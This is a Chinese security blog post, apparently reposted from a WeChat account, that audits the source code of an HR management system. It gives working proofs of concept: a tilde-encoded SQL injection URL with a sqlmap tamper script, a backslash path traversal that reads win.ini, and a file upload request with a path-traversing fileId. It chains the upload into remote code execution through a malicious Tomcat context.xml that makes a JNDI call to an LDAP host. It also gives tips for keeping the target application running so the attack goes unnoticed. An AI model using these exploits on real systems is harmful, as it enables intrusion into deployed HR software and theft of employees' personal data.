千寻攻防笔记:鸡肋文件上传到RCE

admin 2024年3月11日07:52:14评论13 views字数 4874阅读16分14秒阅读模式
之前从正规渠道获得了某景人力资源系统的源码,就想着审一审,水两个cnvd,发现了三个漏洞,sql注入、任意文件下载和鸡肋文件上传,可惜sql注入和任意文件下载已经被其他师傅提了,简单说一下这三个漏洞,首先是sql注入,前几月就爆出来了,poc如下:
/servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cdb~5fname~28~29~2d~2d&flag=c

千寻攻防笔记:鸡肋文件上传到RCE

对应的代码如下,paramString1为flag的值,paramString5为categories的值,当flag的值为c时,会进入该if语句,然后直接将categories的值拼接在sql语句中进行查询:

千寻攻防笔记:鸡肋文件上传到RCE

至于为啥poc里传入的categories值有波浪符,而不是直接的sql语句,是因为直接传sql语句其中的一些字符会过被滤掉,所以必须编码一下进行绕过,而正好服务端在获取categories参数后调用了com.hrms.frame.codec.SafeCode.decode对其进行了解码:

千寻攻防笔记:鸡肋文件上传到RCE

解码对应的代码如下,传入的字符串中如果有“~”,就会进行处理,然后将处理后的值赋给str后返回,如果没有“~”,返回的str就为传入的值,处理的流程也很简单,如果字符串里有“~”,然后就将“~”后两位数字以16进制转换为ascii码中对应的字符,比如~31,处理后就是1,因为16进制的31在ascii码中对应字符1,其实简单的说就是url编码,只不过将url编码中的百分号换成了波浪符:

千寻攻防笔记:鸡肋文件上传到RCE

所以为了避免一些字符被过滤,我们可以先将sql语句进行url编码,然后将url编码的%替换为~即可,以此可以写个简单的tamper,然后直接用sqlmap跑,如下:
#!/usr/bin/env python"""Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies():passdef tamper(payload, **kwargs):"""% to ~Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5Notes:* % to ~>>> tamper('%20')'~20'"""retVal = payloadif payload:a = ""for i in xrange(len(payload)):a += hex(ord(payload[i]))retVal = a.replace("0x", "~")return retVal

千寻攻防笔记:鸡肋文件上传到RCE

然后是任意文件下载,poc如下:
/servlet/DisplayCustomerReportExcelFile?filename=..%5c..%5cwindows%5cwin.ini

千寻攻防笔记:鸡肋文件上传到RCE

对应的代码如下,先获取了传入的filename值并赋值给str,然后调用上面说过的SafeCode.decode处理str,这里不需要绕过什么字符就不用管,接着在str中截取“./”赋值给字符串列表,然后获取列表中最后一个并赋值给str,比如我们传入filename=../../1.txt,那么经过截取后的arrayOfString=[".",".","1.txt"],所以最后str=1.txt,很明显这里是为了防止我们使用“../”进行目录穿越,但是这里只截取了“/”,而在Windows下“”也可以进行路径分隔,所以如果系统是在Windows下部署的,我们仍然可以通过“..”进行目录穿越,最后将file传入sendTempFile获取对应文件内容返回给客户端:

千寻攻防笔记:鸡肋文件上传到RCE

最后就是鸡肋的文件上传了,poc如下,web所在文件夹由于部署环境不是固定的:
POST /hrms_war/sys/qrcode/uploadFile HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNT2KfiUdabSu0O2e------WebKitFormBoundaryNT2KfiUdabSu0O2eContent-Disposition: form-data; name="fileId"../webapps/hrms_war/1------WebKitFormBoundaryNT2KfiUdabSu0O2eContent-Disposition: form-data; name="file"; filename="2.txt"Content-Type: application/vnd.ms-excel111------WebKitFormBoundaryNT2KfiUdabSu0O2e--

千寻攻防笔记:鸡肋文件上传到RCE

对应的代码如下,会根据传入的参数进行赋值str=fileId、str1=fileData、str2=name,fileData是base64编码文件内容,不传入该参数则会直接从传入的文件获取,绕waf时可以使用,name则只会在上传错误的时候返回给客户端,所以后两个参数不传入也不会有影响,关键的是fileId参数,文件路径的参数str6=str5+str+"."+str4,str5默认为tomcat下temp目录,str4为上传文件的后缀名,str为fileId参数,很明显这里没对fileId进行处理就直接拼接在了tmp目录和后缀名中,也就是文件上传的路径和文件名可控:

千寻攻防笔记:鸡肋文件上传到RCE

鸡肋就在上传的路径和文件名虽然可控,但会对上传文件的后缀名进行判断,如果系统system.properties里配置了AllowedExtensionsFile,就从system.properties里面获取白名单,如果没配置就直接使用下面代码里写死的白名单,白名单里zip和rar可以传个马钓鱼、xml可以xss,但在真实场景下基本是没啥用的:

千寻攻防笔记:鸡肋文件上传到RCE

但这个路径和文件名可控的xml,总让我感觉有角度,似曾相识,困扰我很久之后,突然有天想到在y4tacker师傅的一篇文章中看到过,tomcat启动时会解析conf下的context.xml,以此可以构造恶意内容的context.xml进行rce:
https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/

千寻攻防笔记:鸡肋文件上传到RCE

文中也说了该利用方式在tomcat启动时才行,所以这里也就没法传xml利用,后面又跟进了一下tomcat部署war的流程,发现还有其他类似的利用方式,我们都知道tomcat可以通过登陆manager页面部署war包getshell,这种方式其实是在tomcat的webapps下上传一个war包,然后tomcat会自动部署这个war包:

千寻攻防笔记:鸡肋文件上传到RCE

部署应用时调用的方法为org.apache.catalina.startup.HostConfig#deployApps(),在这里下断点,会发现每隔几秒都会在这里停一次,说明后台有线程一直在调用这个方法,所以tomcat在运行过程中能动态部署war包,而其中的deployWARs()则是部署war包的方法,调用该方法时会传入webapps目录和目录下的文件名:

千寻攻防笔记:鸡肋文件上传到RCE

跟进deployWARs(),会判断webapps下是否有war包,如果存在则会部署该war包:

千寻攻防笔记:鸡肋文件上传到RCE

所以如果能上传war包,也能getshell,可惜这里文件上传的白名单里没有war,那该怎么办呢,返回deployApps()方法,可以发现其中除了deployWARs()还有另外两个方法,而这两个方法也是tomcat后台线程循环调用的,可以跟进看看部署的是什么:

千寻攻防笔记:鸡肋文件上传到RCE

首先跟进deployDirectories(),传入了webapps下的目录和文件:

千寻攻防笔记:鸡肋文件上传到RCE

然后判断目录的deploymentExists 是否为true,其实就是判断该目录是否部署过了,如果部署过就continue判断下个目录,没部署过就进入es.submit(new DeployDirectory(this, cn, dir))进行部署,在tomcat启动时每个目录都会进行部署,而部署后每个目录deploymentExists 都变为true,之后线程再调用该方法时,就会continue跳过下方的部署流程,而当context.xml文件发生改变时,相应目录的deploymentExists 就会变为false,从而又重新部署:

千寻攻防笔记:鸡肋文件上传到RCE

跟进es.submit(new DeployDirectory(this, cn, dir)),这里es是个线程池,看一下DeployDirectory相应的run方法:

千寻攻防笔记:鸡肋文件上传到RCE

继续跟进DeployDirectory,就可以发现调用digester.parse处理META-INF/context.xml文件了:

千寻攻防笔记:鸡肋文件上传到RCE

跟进parse处理的流程,发现当xml里的标签为Context/Manager时,调用rule.begin:

千寻攻防笔记:鸡肋文件上传到RCE

继续跟进begin,就是下面y4tacker师傅文章里的流程了,也就是这里可以使用fastjson的第一个payload进行jdni注入:

千寻攻防笔记:鸡肋文件上传到RCE

payload如下,和fastjson一样,调用setAutoCommit()方法,conn默认为空,若this.getDataSourceName()不为空则进入else if,调用lookup(this.getDataSourceName(),从而进行jndi注入:
<Context><Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="ldap://x.x.x.x/" autoCommit="true"></Manager></Context>

千寻攻防笔记:鸡肋文件上传到RCE

本地测试成功rce:

千寻攻防笔记:鸡肋文件上传到RCE

千寻攻防笔记:鸡肋文件上传到RCE

但有个大问题,这里传了恶意context.xml后,会导致tomcat报错,传入目录对应的应用也无法再重新自动部署,相当于应用崩了:

千寻攻防笔记:鸡肋文件上传到RCE

解决办法其实也简单,传到webapps下其他目录就行了,但目录下必须有META-INF文件夹,因为这里的文件上传漏洞没法创建文件夹,所以可以传tomcat自带的manager或host-manager目录,同时也避免了找不到应用部署路径的问题:

千寻攻防笔记:鸡肋文件上传到RCE

千寻攻防笔记:鸡肋文件上传到RCE

打完之后再把manager自带的context.xml传回去覆盖就行了,不会影响应用:

千寻攻防笔记:鸡肋文件上传到RCE

最后再看看deployDescriptors(),传入的configBase为conf/Catalina/localhost目录:

千寻攻防笔记:鸡肋文件上传到RCE

继续跟进,判断传入目录下是否有xml文件,如果有继续调用deploymentExists 判断xml文件是否被处理过了,和上面说到的一样,只要xml发生变化,这里就为false,进入下方的new DeployDescriptor(this, cn, contextXml)进行处理:

千寻攻防笔记:鸡肋文件上传到RCE

一直跟进,就和上面说过的流程一样了,一直到digester.parse处理xml文件,和上面一样可以进行jndi注入:

千寻攻防笔记:鸡肋文件上传到RCE

千寻攻防笔记:鸡肋文件上传到RCE

值的注意的是,这里并没有限制xml文件的文件名,所以只要在conf/Catalina/localhost目录下传任意名的xml文件就行,同时这个也不会影响应用,打完之后重新覆盖恶意xml就行了,很明显这个比上面那个更实用一点:

千寻攻防笔记:鸡肋文件上传到RCE

千寻攻防笔记:鸡肋文件上传到RCE

互联网:

千寻攻防笔记:鸡肋文件上传到RCE

千寻攻防笔记:鸡肋文件上传到RCE



  监制:船长、铁子   策划:格纸   文案:zer00   美工:青柠


原文始发于微信公众号(千寻安服):千寻笔记:鸡肋文件上传到RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月11日07:52:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   千寻攻防笔记:鸡肋文件上传到RCEhttps://cn-sec.com/archives/2093054.html

发表评论

匿名网友 填写信息